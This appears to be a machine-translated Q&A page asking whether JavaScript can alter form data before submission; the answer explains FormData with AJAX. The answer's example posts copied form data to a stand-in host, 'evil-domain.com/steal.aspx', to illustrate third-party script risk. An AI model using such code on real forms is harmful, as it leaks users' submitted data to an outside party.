有没有一种方法可以在提交表单之前修改将要发送到服务器的表单数据?

时间:2019-01-05 08:04:58

标签: javascript jquery html dom

submit事件中向表单添加更多隐藏控件的简短方法,是否有一种方法可以更改在提交表单之前提交表单之前将要发送的有效载荷?

$("#frm").submit(event) {
  // Is there an API to change
  // the request body here
}

例如我想-

  1. 更改正在发送的隐藏字段的名称。

  2. 向请求正文/有效负载中添加一些可迭代/可枚举的对象。

我可以通过在表单中​​添加更多具有所需名称的隐藏控件来解决这两个问题,并在服务器上编写自定义模型联编程序。

但是有一个客户端API,可以让您在发送之前修改将要发送到服务器的内容吗?

2 个答案:

答案 0 :(得分:1)

我建议您看看Is it possible to change form data before sending it?

据我了解,该问题可能会部分解决您的问题

答案 1 :(得分:0)

到目前为止,还没有。而且由于这种安全性,可能永远不会

具有此功能的安全隐患

想象一下您下载的第三方脚本,因为您使用的是插件(例如Google Analytics(分析),ShareThis,来自广告提供商的广告等),因此能够将自己的数据注入表单中。如果有这样的方法,他们可能会这样做。

但是您可以针对AJAX请求执行类似的操作

确实有 FormData对象,但这只是一个属性包,允许脚本从其上的现有form元素复制数据页面,或者简单地从一个空白的FormData对象开始,即一个空白的属性包,在其中放置一些其他属性,然后将这些属性发送到服务器,无论是Web应用程序还是第三方应用程序,但是< em>仅在AJAX请求中。

var additionalDataToAppendToForm = { ... };

var formData = new FormData(myFormElement); // copies existing values from form to FormData
formData.delete(existingFieldName1);
formData.set(existingFieldName2, "newValue");
formData.append(/*name */ "additionalField1", /* value */ additionalDataToAppendToForm);

var xhr = new XmlHttpRequest();
xhr.open("POST", "https://evil-domain.com/steal.aspx");
xhr.send(formData);

并且仅当您没有注意同一来源政策并且未保护您的Web服务器免受飞行前请求来自其他域。

PS:我问了这个问题,然后又决定没有办法,那是正确的,并在我的表单中添加了更多隐藏字段,如我的问题所示。但是从那以后,我一直在写一个答案,以澄清可能有这个问题的其他人,所以我正在写这个答案。